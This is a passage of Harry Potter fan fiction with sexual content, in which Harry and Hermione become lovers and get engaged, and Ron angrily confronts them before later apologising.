his head, and play with his hair.</p>\n\n<p>After some time had passed, he stood, and Hermione congratulated herself for not crying. He looked at her and smiled, as he always did.</p>\n\n<p>Now I really have to hold the tears in, she thought, willing herself to do so.</p>\n\n<p>Then, as usual, he leant forward to kiss her cheek. Hermione closed her eyes and felt him kiss her, softly, just next to her mouth. This surprised and excited her, and she quickly opened her eyes. Harry was staring at her lips, and he looked almost terrified. When he saw that her eyes were open, he looked into them, still stooping over her.</p>\n\n<p>Oh my God, Hermione thought as they stared into each other\'s eyes, realising that she\'d never felt anything so intense in her whole life.</p>\n\n<p>She didn\'t know how long they looked at each other. She soon had the amazing sensation of falling into him, as his whole body seemed to be moving closer and closer to her.</p>\n\n<p>Wait! It\'s me! I\'m moving closer to him! she thought, as his lips were a breath away from her own.</p>\n\n<p>		(	(	(	(	(	(	(</p>\n\n<p>Harry had never felt anything like this before. After he had stood up, preparing himself to give Hermione his usual smacking kiss goodnight on her cheek, something had taken over him. He felt as though he had been possessed. As she closed her eyes, he so desperately wanted to kiss her that he thought he was going to explode. He stopped himself, but just grazed the corner of her mouth with his lips. Suddenly, Harry felt as though a raging fire had been lit inside of him.</p>\n\n<p>They had stared at each other so intensely, for so long, as Harry longed to make himself close the gap between their lips. Now, like a wonderful miracle, Hermione seemed to be trying to kiss him!</p>\n\n<p>Harry closed his eyes as Hermione moved ever closer. Then, he felt the magical touch of their lips meeting for the first time. It felt so soft, so delicate, so tentative, and so sensual. They stayed in this way for a few seconds before he pulled back slowly, and looked at her in awe. She too looked amazed at what had just happened. </p>\n\n<p>His anxiety quickly vanishing, this time Harry leaned forward. He pulled Hermione out of her chair, and held her tightly, with both arms around her waist. They kissed again. It started out slowly and delicately, like the first one, but begun to speed up, as they both felt a sudden hunger to be as close to each other as possible.</p>\n\n<p>Hermione reached up her hands up to stroke his face, as Harry\'s own hands moved tentatively inside her shirt, and he began to caress her back.</p>\n\n<p>They began to kiss each other with a fury now, and Harry could scarcely think straight. Before he knew what was happening, or who had started it, they were lying on the floor in each other\'s arms, half-naked being warmed by the heat of the fire.</p>\n\n<p>Or maybe we\'re warming each other? Harry thought in wonder as he kissed her neck.</p>\n\n<p>He moved away from her neck and began again on her lips, discarding the rest of their clothes in the process. He never wanted this to end.</p>\n\n<p>But I have to ask her, he thought.</p>\n\n<p>With an extraordinary effort Harry didn\'t realise he was capable of making, he pulled his mouth away from Hermione\'s and balanced his weight on his elbows. A shiver ran down his spine as he looked at her naked body underneath him. He realised, though, that this shiver also came from not being against the warmth of her skin. Harry\'s eyes moved from the soft, delicate skin between her breasts, up to her eyes.</p>\n\n<p>They were both breathing heavily, and Harry could see a mixture of feelings in Hermione\'s eyes, all of which he was feeling himself. He could see confusion, as to why he\'d pulled back. Fear, both of what they were about to do, and of the terrifying thought that it would change everything they\'d ever known about each other. Lastly, possibly the strongest of all the emotions they both felt, he could see excitement and desire.</p>\n\n<p>I still have to ask her, he thought. I don\'t want anything to happen that she may regret.</p>\n\n<p>He looked deeply into Hermione\'s dazzling brown eyes, and truly felt that he could see into her soul. </p>\n\n<p>He gulped and wet his lips. &quot;Hermione, are you sure?&quot;</p>\n\n<p>She looked at him with the most tender and beautiful expression he\'d ever seen. &quot;Yes,&quot; she breathed, as she pulled his mouth back to hers.</p>\n\n<p>		(	(	(	(	(	(	(</p>\n\n<p>Hermione\'s mind was racing. Is this really happening? she thought wildly.</p>\n\n<p>But she knew as she ran her fingers over the muscles in his back, and as she felt the flicker of his tongue on her breast that, yes, it was indeed happening.</p>\n\n<p>Harry pulled back once more, and leaned his weight on his elbows. They looked into one another\'s eyes as he entered her for the first time.</p>\n\n<p>Hermione bit her lip to stifle a cry of both pain and pleasure. She saw the fear and guilt in his eyes.</p>\n\n<p>&quot;Are you okay?&quot; he asked huskily.</p>\n\n<p>She smiled shyly at him. &quot;Well, it is my first time, it\'s supposed to hurt a little.&quot;</p>\n\n<p>&quot;Do you want me to stop?&quot;</p>\n\n<p>She saw that he really meant it. Hermione\'s heart skipped a beat as she realised how important she must be to him.</p>\n\n<p>&quot;Never,&quot; she smiled.</p>\n\n<p>		(	(	(	(	(	(	(</p>\n\n<p>Hermione lay her head on Harry\'s chest as she sought for her breathing to return to normal. She could hear his heart beating at an extraordinary pace, just as quickly as hers, and smiled at the effect that they had had on each other.</p>\n\n<p>Their hands were intertwined on Harry\'s stomach, as his other hand was coiled in her hair. Hermione looked into the fire. She didn\'t want to sleep. She wanted to lie awake with him like this all night. She wanted to talk to him about what they had just done - about what it meant for their relationship. She hoped he didn\'t think it was a mistake, but feared that he did. As her mind tried to keep track of all these thoughts, she felt fatigue set in. She struggled to keep her eyes open. From the rhythm of Harry\'s breathing, he too was close to sleep. She smiled and after nuzzling even closer to him, allowed slumber to claim her.</p>\n\n<p>		(	(	(	(	(	(	(</p>\n\n<p>Harry lay awake early the next morning, thinking about the events of the previous night. He still couldn\'t believe he and Hermione had made love. It was such a foreign thought, yet it felt so right. It meant that she cared for him, in ways that he had only hoped. In Harry\'s mind, it had brought them closer together on so many levels. He kissed the top of her head as she slept, completely content to stay like this for the rest of his life. </p>\n\n<p>Suddenly, Hermione jerked awake as they both heard voices.</p>\n\n<p>&quot;So Seamus, you\'ve not seen Harry since when?&quot; Harry heard Ron ask.</p>\n\n<p>&quot;Last night, at dinner. You were still with him and Hermione when I left with Dean. Are you sure he didn\'t come to bed last night? Maybe he came in, and left early this morning without waking you?&quot;</p>\n\n<p>Ron paused. &quot;I guess. Maybe. It\'s weird though...&quot;</p>\n\n<p>&quot;Why don\'t you go up and ask Hermione?&quot; Seamus offered. &quot;Maybe she knows?&quot;</p>\n\n<p>Harry and Hermione looked at each other, fear stamped on both their faces as they waited for Ron\'s answer.</p>\n\n<p>&quot;Nah. She\'ll be down to breakfast soon. And maybe Harry is already down there. Besides, I want to tell you what happened with Pavarti last night....&quot;</p>\n\n<p>Their voices faded away and Harry heard the entrance door shut. They had left without noticing their two friends behind the couch.</p>\n\n<p>Harry exhaled, and looked down at Hermione, still naked in his arms. &quot;That was close!&quot;</p>\n\n<p>She nodded, looking scared. &quot;Yeah, we\'d better get dressed before anyone else comes down.&quot;</p>\n\n<p>They stood up and Harry immediately felt cold without Hermione\'s radiating warmth all over his body. He noticed that she also shivered a little, and smiled to himself.</p>\n\n<p>They dressed quickly. There was an awkward pause, as they looked at each other, uncertain as to how to proceed.</p>\n\n<p>Hermione began. &quot;We\'d better go to breakfast.&quot; She looked into his eyes. &quot;Can we talk afterwards? Up in my room?&quot;</p>\n\n<p>Harry stumbled out the words. &quot;Yeah, that\'d be great.&quot;</p>\n\n<p>&quot;Okay, good. Do you think we should go down separately? I mean, I don\'t think we should go in together.&quot;</p>\n\n<p>&quot;Yeah, you\'re probably right.&quot;</p>\n\n<p>&quot;I\'ll go first okay?&quot;</p>\n\n<p>Harry nodded, as did Hermione. She started to walk towards the door. Harry ran forward, grabbed her by the shoulders, turned her around, and kissed her passionately. It was a long kiss, and in the midst of it, Harry realised that he would never love anyone as much as he loved Hermione. He smiled a little against her mouth and pulled back.</p>\n\n<p>&quot;I really needed to do that,&quot; he told her.</p>\n\n<p>She had a dazed look on her face as she walked backwards towards the door.</p>\n\n<p>&quot;I, uh, yeah, erm, I\'ll see you down there.&quot;</p>\n\n<p>And with that she stumbled out of the door.</p>\n\n<p>(	(	(	(	(	(	(</p>\n\n<p>Hermione steadied herself against the wall as she left the common room. That kiss had sent electric shocks all over her body with its sheer passion. She still couldn\'t believe what had happened. One minute they were both feeling very awkward in each other\'s presence, the next, they were making love. It seemed like some bizarre movie plot. Things like this just never happened to Hermione Granger. She was just a normal witch after all.</p>\n\n<p>She started to walk down the hallway, to the stairs that led down to the Great Hall, all the while thinking of Harry; of what they\'d done together and of how much she longed to do it again. Of the talk they would soon have and what it was going to mean for their relationship. She wondered if Harry knew that her heart was in his hands. With just a word, he could either send it soaring in the heavens, or crush it irrevocably. </p>\n\n<p>&quot;Hi Hermione! How\'s it going?&quot; Ron asked even more cheerfully than he usually would.</p>\n\n<p>Hermione eyed him suspiciously, wondering whether Ron and Seamus had seen her and Harry on the floor together after all. &quot;Good thanks, and you?&quot;</p>\n\n<p>&quot;Never better,&quot; he grinned, before his face turned serious for a moment. &quot;You haven\'t seen Harry, have you?&quot;</p>\n\n<p>Hermione felt herself blushing, and hoped that neither Ron or Seamus would notice. &quot;Uh, yeah, I saw him on my way down. He said he was on his way...&quot;</p>\n\n<p>&quot;Speak of the devil,&quot; Seamus interrupted, looking towards the door.</p>\n\n<p>In walked Harry. He smiled when he saw them at their table, and blushed just a little when he looked at Hermione.</p>\n\n<p>&quot;Hi guys, how\'s everything?&quot;</p>\n\n<p>&quot;Where were you last night?&quot; Ron asked inquisitively. </p>\n\n<p>With furrowed brows, Harry answered. &quot;What do you mean? I was in bed, sleeping.&quot;</p>\n\n<p>&quot;But you weren\'t there when I fell asleep, and I didn\'t hear you come in. I didn\'t hear you leave this morning for that matter either.&quot;</p>\n\n<p>&quot;I came in late last night. You were sound asleep so I tried to be as quiet as possible. And I woke up early this morning to go for a run.&quot;</p>\n\n<p>&quot;You don\'t look sweaty?&quot; Ron questioned.</p>\n\n<p>&quot;I had a shower you twat! Is this what having a mother would\'ve been like?&quot; Harry laughed, whilst looking slightly wistful at the same time. </p>\n\n<p>At this Ron broke down, and smiled an embarrassed grin. &quot;Okay, okay. Sorry for the third degree.&quot; He paused. &quot;Well, is one of you gonna ask me what happened with Pavarti or not?&quot;</p>\n\n<p>Seamus stood. &quot;As enthralling as this story is Ron, I just heard it less than five minutes ago. I\'m off. See you in Potions.&quot;</p>\n\n<p>&quot;Bye Seamus,&quot; they all echoed.</p>\n\n<p>Harry and Hermione turned their attention back to Ron.</p>\n\n<p>&quot;Okay,&quot; Hermione smiled. &quot;What happened with Pavarti?&quot;</p>\n\n<p>Ron grinned. &quot;Well,&quot; he began. &quot;You know how she seemed really angry with me last night, right? I thought I was in for it, not that I had any idea of what I\'d done mind you. Anyway, she told me that Lavender told her that I\'d told everyone, how much I like her.&quot; He stopped. &quot;You confused or something?&quot;</p>\n\n<p>Harry and Hermione had been smiling and sharing amused glances. They now looked at Ron and grinned. &quot;A little&quot;, they replied in unison.</p>\n\n<p>Ron scowled. &quot;Anyway, she asked why I\'d been telling everyone how much I liked her. So I thought she hated me and was embarrassed to have even been mentioned in the same breath as me. But, this is the good part, she said she was mad that I\'d never told her, and that I\'d never asked her out. I sorta stared at her in shock. Then she said that cos I was being such a baby about it, she\'d have to ask me out herself,&quot; he grinned. &quot;We\'re going to Hogsmeade together this afternoon. How good is that? Huh?&quot;</p>\n\n<p>They both laughed. &quot;That\'s great Ron,&quot; Harry said. &quot;At least now you\'ll stop annoying everyone with your constant \'Does she like me?\' routine.&quot; He smiled at the embarrassed Ron. &quot;Seriously though, I\'m really happy for you.&quot;</p>\n\n<p>&quot;Me too,&quot; Hermione added.</p>\n\n<p>Ro grinned again, even wider than before. He looked towards the door. &quot;There she is! I\'ll see you guys later.&quot;</p>\n\n<p>Hermione looked from her plate, up to Harry, and saw that he was doing the same thing. They both smiled shyly. </p>\n\n<p>&quot;Do you wanna go and talk upstairs?&quot; Hermione asked.</p>\n\n<p>&quot;Let\'s go.&quot;</p>\n\n<p>(	(	(	(	(	(	(</p>\n<p>  </p>\n<p> Harry had just followed Hermione into her single bedroom and locked the door, when he found that he couldn\'t control himself anymore. He put his hands to her face and kissed her, surprising her so that she couldn\'t keep her balance, and they both fell onto the bed, he on top of her.</p>\n<p>They laughed against each other\'s mouths as they continued kissing. Hermione pulled Harry\'s shirt over his head in one quick, fluid movement, and ran her fingers over his chest, causing shivers to run up and down his spine. She had just stared to undo his pants, when he suddenly sat up, surprising himself as much as her.</p>\n\n<p>&quot;I\'m sorry Hermione,&quot; he said as he saw the hurt and confusion in her eyes. &quot;I want this just as much as you do, probably more in fact. I just think that maybe we should talk first,&quot; he looked her in the eye. &quot;So that no one gets hurt.&quot;</p>\n\n<p>Hermione sat up, nodding, as Harry pulled his shirt back over his head. &quot;You\'re right. How should we do this? Should we each just say how we\'re feeling about,&quot; she paused. &quot;Well, everything?&quot;</p>\n\n<p>&quot;Yeah,&quot; Harry saw that Hermione looked a little worried. &quot;Do you want me to go first?&quot;</p>\n\n<p>She relaxed just a little. &quot;Okay.&quot;</p>\n\n<p>&quot;Right,&quot; Harry breathed in deeply as he stood up. &quot;Here I go,&quot; he smiled.</p>\n\n<p>&quot;Last night was the most amazing night of my life. I\'ve never felt anything like it before. I know it was your first time, and I think you know it was mine too. I\'m so glad that you were my first, and I yours. It was so special, so beautiful. And the thing is, Hermione, that I love you,&quot; Hermione gasped, and Harry too felt surprised. &quot;I\'ve been so afraid to tell you, but I can\'t believe how easy that was to say. The funny thing is, it\'s been so easy to fall in love with you, so natural, so right, that I hadn\'t even noticed it had happened. Everything that makes you my best friend Hermione, has also made me love you like I\'ve never loved anyone before, or ever will again,&quot; Harry smiled dreamily. &quot;Plus the fact that...&quot; he trailed off.</p>\n\n<p>&quot;What Harry?&quot;</p>\n\n<p>He ran his thumb over her cheek. &quot;Well, that you\'re so beautiful. I\'ve never seen anyone as beautiful as you.&quot; </p>\n\n<p>Harry smiled at the look on Hermione\'s face - betraying a magical cocktail of shyness and embarrassment, as well as what looked to be positive ecstasy!&quot;</p>\n\n<p>&quot;Oh Harry!&quot; she said as she rushed at him and kissed him all over. &quot;I love you! I\'m in love with you too! That\'s why I was pulling away from you. I was so terrified of what I was feeling, and of what it meant for us, that I tried to push you away so I wouldn\'t have to deal with it. But last night, oh, I just couldn\'t leave you alone. And it felt so right. I felt complete for the first time in my life. I\'ve realised that I\'ve loved since the beginning, since we first met, isn\'t that ridiculous? I\'ve loved you since I was eleven and I didn\'t even know it. You\'re the most important person in my life Harry. I love you so much.&quot;</p>\n<p>This time it was Harry\'s turn to look like a child whose Christmases had all come at once. He threw himself on top of her and they again landed, laughing, on the bed.</p>\n\n<p>Their faces serious all of a sudden, they looked at each other, as Harry began to unbutton Hermione\'s blouse.</p>\n\n<p>		(	(	(	(	(	(	(</p>\n\n<p>Hermione smiled against Harry\'s head as he sensually ran his tongue over her breasts. She had a feeling that, due to their mutual declarations of love, this time would not be as desperate as the previous night, but rather much slower and more sensuous. </p>\n\n<p>She felt his tongue make a trail from her breasts to her stomach, as he kissed her all over. Hermione, moaning, felt as if she may soon explode, so she pushed Harry off her and onto his back, determined to give him a taste of his own medicine. </p>\n\n<p>She ran her tongue all over his body and smiled when she heard him groan with pleasure. When he was ready, Harry pushed Hermione onto her back and entered her cautiously. She smiled up at him.</p>\n\n<p>&quot;It doesn\'t hurt anymore.&quot;</p>\n\n<p>He returned her smile and began to move slowly but rhythmically within her. All the while, their lips hardly ever parted.</p>\n\n<p>Hermione felt as if she were flying. She had already become addicted to making love to him after only their first time, but now she felt this on a completely different level.</p>\n\n<p>The nagging fear and confusion that had been present in the back of her mind last night had entirely disappeared. She still couldn\'t believe that he loved her! Feeling him inside of her really did make her feel complete, that in Harry she had found a part of herself she didn\'t know was missing. She wondered briefly if other people felt this way, or if it was just unique to them. </p>\n\n<p>As they both came simultaneously, Hermione was aware of a feeling of peace and contentedness wash over her. She looked up at Harry who was smiling down at her, and knew, without having to ask him, that he felt the same. She brushed his fringe aside and kissed his lightning-bolt shaped scar. He kissed her fingertips and rolled onto his side, taking Hermione with him. She lay there, facing him, and for the longest time they simply looked into each other\'s eyes and smiled, as Hermione ran her fingers up and down the side of Harry\'s cheek.</p>\n\n<p>&quot;I love you,&quot; Hermione whispered to him.</p>\n\n<p>&quot;I want to marry you,&quot; Harry replied, making Hermione gasp, as her smile vanished from her face.</p>\n\n<p>&quot;What?&quot; she breathed.</p>\n\n<p>Harry looked at her with his smile still very much present. &quot;I said that I want to marry you.&quot; He adjusted himself so that he was leaning his head on his elbow. &quot;Will you?&quot; he finished.</p>\n\n<p>Hermione sat up and leaned against the bed head, pulling the blankets with her to cover herself up. She was so shocked at this question, and in some ways found it quite ridiculous. Yet, another very large part of her was incredibly excited by this prospect. To avoid making sense of her own feelings and thoughts, she decided she\'d firstly try to make sense of his.</p>\n\n<p>&quot;Harry, do you even realise what you\'re saying? Firstly, don\'t you think it\'s a little too fast? I mean, we only just became aware of our feelings for one another, and only divulged them to each other about forty minutes ago! Then there\'s the age factor. I just turned seventeen two weeks ago! We\'ve still got a year left of school. I know my parents will chuck a wobbly...&quot; she looked at him.</p>\n\n<p>Hermione wasn\'t sure whether it should relax, or completely unnerve her that he still remained so calm. &quot;Are you going to say something?&quot;</p>\n\n<p>Now Harry too sat up, and ran his fingers down the side of her cheek, the touch causing goosebumps to appear all over her body. His green eyes sparkled with emotion.</p>\n\n<p>&quot;Hermione, as usual, everything you say is exactly right and makes perfect sense,&quot; She snorted her embarrassment at this statement. He continued. &quot;And perhaps, for those reasons, what I\'m suggesting is utterly immature and absurd. But you left out one crucial factor - we\'re in love. Obviously I can only speak for myself, but I didn\'t think it was possible to love someone as much as I love you. And the scary thing is, that from the moment I woke up to my feelings for you, not a second has gone by when I haven\'t loved you more than I did the previous second.&quot;</p>\n\n<p>Hermione spoke softly, her eyes overbright. &quot;I feel the same Harry.&quot;</p>\n\n<p>&quot;Well good,&quot; he smiled. &quot;See? So what\'s the problem? I mean, I said that the points you made were all more than valid, and I meant it. I\'m not suggesting that we get married tomorrow. I\'m not asking you to set a date and start choosing dresses and bridesmaids and a band, or anything like that. I\'m not even suggesting that we need tell anyone just yet. I\'m asking because I love you, and I want to be around you everyday, and wake up next to you, and look at you and think, \'I\'m going to marry that girl\'. I\'m asking you because I\'m never going to love anyone else, and I want you to know it. I want you to look at me and think \'That handsome young fellow is going to be my husband\',&quot; Hermione laughed, but Harry\'s face remained serious. &quot;Now that we both realise what\'s in our hearts, I want us to know it, with such clarity that we could never doubt it. It\'s like a promise of our love that we can take with us everywhere we go. Do you know what I mean?&quot;</p>\n\n<p>Hermione nodded, tears now steadily falling from her eyes. Harry kissed them away.</p>\n\n<p>&quot;Yes, Harry. Yes. You\'ve always been my life, and now I can finally admit and understand what that means. I want to be with you forever. I want to marry you.&quot;</p>\n\n<p>&quot;Really?&quot; Harry asked precariously. &quot;Do you mean it?&quot;</p>\n\n<p>Hermione nodded, and Harry breathed a deep sigh of relief and kissed her. Hermione started laughing amidst her tears as she thought of all that had happened in just over a day. Just yesterday morning, she had been so unhappy because she thought he could never love her. Now they were going to get married! It still seemed like a dream to her as she lay back in the bed. Harry snuggled in close to her. She kissed the top of his head and smiled.</p>\n\n<p>		(	(	(	(	(	(	(</p>\n\n<p>Harry was so deliriously happy he could barely keep himself from smiling, even in Snape\'s Potions class. He also couldn\'t keep his eyes off Hermione, who likewise kept looking at him, as they shared knowing glances. At one point, when Snape\'s back was turned, Harry\'s heart very nearly jumped out of his chest when Hermione mouthed to him three very simple, yet beautiful words - \'I love you\'.</p>\n\n<p>Harry had to control the impulse to yell out in delight! He managed to do so, but still couldn\'t hide his ever-widening smile. Suddenly he felt Ron nudge his arm. Harry turned to him and was met with a questioning stare. Ron then eyed the desk, discreetly asking Harry to do the same. He did, and saw a message in Ron\'s notebook.</p>\n\n<p>&quot;Why are you smiling like a bloody twat?!&quot; it read. &quot;Have you forgotten whose class we\'re in?! Snape\'ll kill you if he sees you looking like that! He\'ll think you\'re up to something.&quot;</p>\n\n<p>Harry looked up at Ron, his smile now gone. He hadn\'t even thought of how his relationship with Hermione would effect Ron. Truth be told, Ron hadn\'t entered his mind for quite some time, and Harry felt a tinge of guilt because of it. Harry shook his head, trying to convey to Ron that it was nothing, and they\'d talk later.</p>\n\n<p>But now Harry was getting worried. It wasn\'t nothing, and as well as he knew Ron, he had no idea how he might react to this sudden revelation. Harry looked up at Hermione and saw that she realised something was wrong. He could read her facial expressions so well, that he could almost hear her talking to him. She asked what was wrong. Harry glanced quickly at Ron, and then back to her. He could see that Hermione understood as she breathed in deeply and looked at him, her eyes narrowed in worry. He smiled to her in an effort to reassure her. She nodded and smiled back. </p>\n\n<p>Harry briefly thought how extraordinary this mental telepathy that he shared with Hermione was. He smiled to himself at how much closer they had become to one another, before noting that Ron was still fixing him with a questioning stare. He was relieved when the bell rang to announce the end of their two-hour Potions class, and the beginning of their free period. But Ron didn\'t waste any time.</p>\n\n<p>&quot;Harry, what\'s up with you? Last night you\'re quiet and depressed. You come to bed late, you get up early. And now you\'re smiling like a bloody mental patient! And in Snape\'s class for Pete\'s sake! I\'ve never even seen you smile when he\'s anywhere near any of us, yet you wouldn\'t stop smiling throughout the entire two hours! You\'re lucky he didn\'t use that as an excuse to give you detention and take off house points! So what\'s going on?&quot;</p>\n\n<p>Ron\'s expression told Harry that he expected an answer and would be very offended and angry if he didn\'t get one. Harry glanced at Hermione who was packing her books as if she were stuck in slow motion. She was paying all of her attention to Harry and Ron and what they were saying to each other. He widened his eyes in a plea for her assistance, and she immediately walked over to them. </p>\n\n<p>&quot;Hi guys!&quot; she said brightly.</p>\n\n<p>&quot;Hermione,&quot; Ron snapped. &quot;We\'re having a discussion here, do you think you could keep you nose out of it for once?&quot;</p>\n\n<p>&quot;Hey!&quot; Harry yelled furiously. He could see the hurt in Hermione\'s eyes, and knew that raw fire must have been present in his own. &quot;Ron what\'s wrong with you? You\'ve got no right to snap at her.&quot;</p>\n\n<p>Ron looked guilty, yet taken aback at Harry\'s anger. &quot;The question is Harry, what\'s wrong with you? What\'s wrong with both of you?&quot; he said looking at Hermione. &quot;You\'ve both been acting crazy lately,&quot; he turned his focus back to Harry. &quot;And now you\'re yelling at me on her behalf? She\'s a bloody know-it-all who needs to be in control of everything. She doesn\'t know when she\'s not wanted,&quot; he added scathingly.</p>\n\n<p>Harry was so furious now that he seemed to have gone full circle, so that he appeared to be icy calm. With his jaw set, and teeth clenched, he began. </p>\n\n<p>&quot;Ron, unless you want to get your face punched in, you\'d better stop speaking about her like that. She\'s your best friend for Christ sake and you\'re treating her like a piece of crap!&quot;</p>\n\n<p>&quot;Wrong!&quot; Ron yelled. &quot;She\'s your best friend! I\'ve only put up with her for the last six years cos for some reason only God knows, you like her! I can\'t stand her! But you\'re my best friend Harry, and if you wanted her around I wasn\'t gonna stop you. But here she is, doing the very thing I hate most about her, butting in where she\'s not wanted, and you\'re defending her! God! It\'s like you\'re in love with her or something!&quot;</p>\n\n<p>Harry and Hermione, who had both been reddening with a mixture of anger and pain, both quickly paled and glanced at each other. Ron noticed.</p>\n\n<p>He looked from one to the other. &quot;You\'ve got to be kidding?!&quot; Harry and Hermione looked from each other, to Ron, to the floor, both feeling absurdly like they\'d been called into McGonagall\'s office for a stern lecture. </p>\n\n<p>&quot;How long\'s this been going on for, huh?&quot; Ron continued. &quot;How long have you been lying to your supposed best friend?&quot;</p>\n\n<p>Harry tried to mend the situation. &quot;Ron, calm down. It just started yesterday. That\'s what I was going to tell you before you started ranting and raving like a lunatic. We weren\'t trying to hide anything from you, honestly.&quot;</p>\n\n<p>&quot;Oh really? Let\'s see about that. You didn\'t come to bed last night, did you Harry? You lied to me. You both did. You were together, weren\'t you?&quot;</p>\n\n<p>&quot;Ron please...&quot;</p>\n\n<p>&quot;Shut up Hermione! Answer me Harry!&quot;</p>\n\n<p>Harry stared at Ron. &quot;Yes. I lied. I was with Hermione. But you don\'t understand. I only lied because Hermione and I hadn\'t had a chance to talk about everything. We didn\'t even know what was going on.&quot;</p>\n\n<p>&quot;Yeah well, it\'s obvious why you didn\'t do any talking last night, isn\'t it? This is unbelievable. I\'m outta here. Some best friend you are Harry.&quot;</p>\n\n<p>&quot;Ron...&quot; Hermione began as the classroom door slammed.</p>\n\n<p>Harry looked at her. &quot;That went well.&quot;</p>\n\n<p>		(	(	(	(	(	(	(      </p>\n\n<p>Hermione lay on her bed next to Harry, who had technically, but by no means officially, moved into her room. She turned on her side to look at Harry as he slept. She marvelled at how beautiful he was, and at how lucky she was that they had found each other, first as friends and now as lovers and soul mates. However she couldn\'t help feeling a little resentful of the situation Ron had put them in, and this resent made her feel guilty for having such thoughts. She was supposed to be happy, and in a lot of ways she was. But Ron\'s anger with the two of them was distracting them both. A week after their big argument, he still wouldn\'t even look at either of them. She didn\'t understand why he had reacted the way he did, and his cruel words to her still hurt. Yet she knew that as much as she was hurting, Harry was hurting more.</p>\n\n<p>He had been deeply shocked, confused, wounded and angered by Ron\'s words to Hermione, even more so than she was. Harry had told her that he couldn\'t understand why Ron had said such things, as he was sure that he didn\'t really mean them. And it hurt him that Ron refused to try and repair their friendship. And, mirroring Hermione\'s own feelings, Harry felt guilty for the happiness that he felt, and wanted to feel, with Hermione. So much so that he had actually suggested to Hermione that if they cooled things off of for a while, Ron may be easier to talk to. </p>\n\n<p>Hermione had been scared and distressed by this idea, which she made very clear to him. She also told him that in her honest opinion, it would do no good. Besides, Ron had to get used to the fact that the two of them were together. The friendship the three of them shared could only heal if Ron dealt with this. Harry had agreed with her and apologised profusely, making sure that she knew that it had nothing whatsoever to do with his feelings for her. And so, since then, Harry and Hermione had gone on with their lives, waiting for some sign that Ron was ready to talk.</p>\n\n<p>&quot;Mmmm, Hermione?&quot; Harry said sleepily as his eyelids began to flutter.</p>\n\n<p>&quot;Yes love, I\'m here,&quot; she answered tenderly.</p>\n\n<p>He opened his eyes fully and smiled. &quot;Why aren\'t you sleeping?&quot; he said as he kissed her.</p>\n\n<p>&quot;I\'m just thinking,&quot; she smiled &quot;about how much falling in love with you has ruined everything.&quot;</p>\n\n<p>He laughed. &quot;You\'re absolutely right. What say we forget about this whole love thing completely? But can we still have casual sex every night? I think I\'d suffer from terrible withdrawal symptoms if we couldn\'t.&quot;</p>\n\n<p>She also laughed and kissed his forehead. &quot;I do love you, you know.&quot;</p>\n\n<p>&quot;I\'m glad, or else I might\'ve had to return this.&quot; He rolled over and put on his glasses, and at the same time taking something out of his pants pocket, which lay discarded by the bed.</p>\n\n<p>Hermione wondered what he was up to, but then he turned back to her and held out a small box.</p>\n\n<p>Hermione\'s eyes widened. &quot;Harry...&quot;</p>\n\n<p>&quot;Shh, just open it.&quot;</p>\n\n<p>They both sat up as she touched the box delicately, feeling excited and nervous all at once. She opened it up and gasped. Inside lay the most beautiful diamond ring she had ever seen. </p>\n\n<p>&quot;What? Harry, what is this?&quot;</p>\n\n<p>&quot;Well, it\'s my understanding that in some cultures, when a man asks the woman he\'s head over heels in love with to marry him, he usually buys her an outrageously beautiful, not to mention expensive, diamond ring.&quot; He ended hopefully. &quot;Do you like it?&quot;</p>\n\n<p>&quot;Are you kidding? I\'ve never seen anything more beautiful in my life! Well, except for you, of course. Harry this must have cost a fortune?&quot; she exclaimed.</p>\n\n<p>&quot;Thankfully, money\'s not really a problem,&quot; he grinned mischievously. &quot;You think I\'m beautiful?&quot;</p>\n\n<p>Hermione giggled. &quot;Of course. You\'re an Adonis!&quot;</p>\n\n<p>His eyes widened in mock shock. &quot;Really? Wow! If I\'m that hot, what am I doing with a mere Goddess such as yourself?&quot;</p>\n\n<p>She pushed him playfully on his chest, as he moved forward and kissed her passionately.</p>\n\n<p>&quot;I just wanted to make it official,&quot; he said quietly. &quot;I don\'t expect you to wear it yet, obviously, while we\'re still in school and all. That\'s why I also got you this.&quot; He pulled a simple silver chain from inside the box. &quot;I thought maybe you could wear it around your neck, just until I can do the whole \'on bended knee\' thing and put it on your finger properly.&quot;</p>\n\n<p>&quot;And then I\'ll never take it off again. Oh Harry thank you so much. It\'s at times like this when my heart takes over from my head, and I want to marry you on the spot!&quot;</p>\n\n<p>He smiled, and ran his fingers through her hair. &quot;I\'ll marry you as soon as I can, whenever you want me to. Just give me some warning though. I don\'t know what people would think if we got married naked!&quot;</p>\n\n<p>Hermione giggled again and hugged him tightly. </p>\n\n<p>&quot;Hermione? Harry? Are you awake? Can I talk to you?&quot;</p>\n\n<p>Hermione jumped as they both gasped. &quot;Ron? Is that you?&quot;</p>\n\n<p>&quot;Yeah, can I come in?&quot;</p>\n\n<p>&quot;Just a minute!&quot; Hermione cried as both she and Harry clamoured to get their clothes on. A minute later she glanced at Harry, who nodded, before she put her ring in her drawer and opened the door.</p>\n\n<p>Ron stood there in his pyjamas, not quite looking at either of them. &quot;I\'d hoped you\'d be up. I couldn\'t sleep. Haven\'t properly for the last week if I\'m honest. Anyway, I thought it was time that I came to talk to you.&quot;</p>\n\n<p>&quot;Sure, have a seat,&quot; Hermione said as she pointed to the chair at her desk.</p>\n\n<p>Harry hadn\'t said anything yet, but continued looking warily at Ron as if he expected another tirade like the one he and Hermione had received the week before.</p>\n\n<p>Ron sat on the chair, as Hermione sat herself down on the edge of her bed, patting the space next to her for Harry. He quickly shook his head and continued to stare at Ron as he stood protectively at Hermione\'s side.</p>\n\n<p>Ron cleared his throat. &quot;Okay, if you can just let me talk, that would probably be easiest. Here goes. Firstly, Hermione, I\'m so sorry. I hope you know that I didn\'t mean anything I said to you. I was just worried about Harry, and when you came over, I just snapped. The immature eleven year-old you knew before we all became friends reared his ugly head, and I\'m truly so sorry. You are just as important to me as Harry, my parents, my brothers and Ginny. You\'re my best friend,&quot; he finished quietly.</p>\n\n<p>Hermione nodded to him to convey that she had forgiven him. Harry continued to stand next to her, silent, staring at Ron. He, apparently, would not forgive Ron\'s cruelty to Hermione as easily as she could herself.</p>\n\n<p>&quot;In this past week, I\'ve been trying to figure out exactly why I snapped,&quot; Ron continued. &quot;And what I\'ve realised is that, well, I was jealous.&quot;</p>\n\n<p>Hermione looked up at Harry whose eyes narrowed slightly.</p>\n\n<p>Ron seemed to notice too because he quickly continued. &quot;No, not like that.&quot; He looked at Hermione. &quot;I\'m not attracted to you. I don\'t like you in that way, that\'s not what I meant.&quot; His gaze shifted between the two of them.</p>\n\n<p>&quot;What I meant was that I was jealous of the fact that you two are closer to each other than you could ever be to me. See, I always thought our friendship was really equal, you 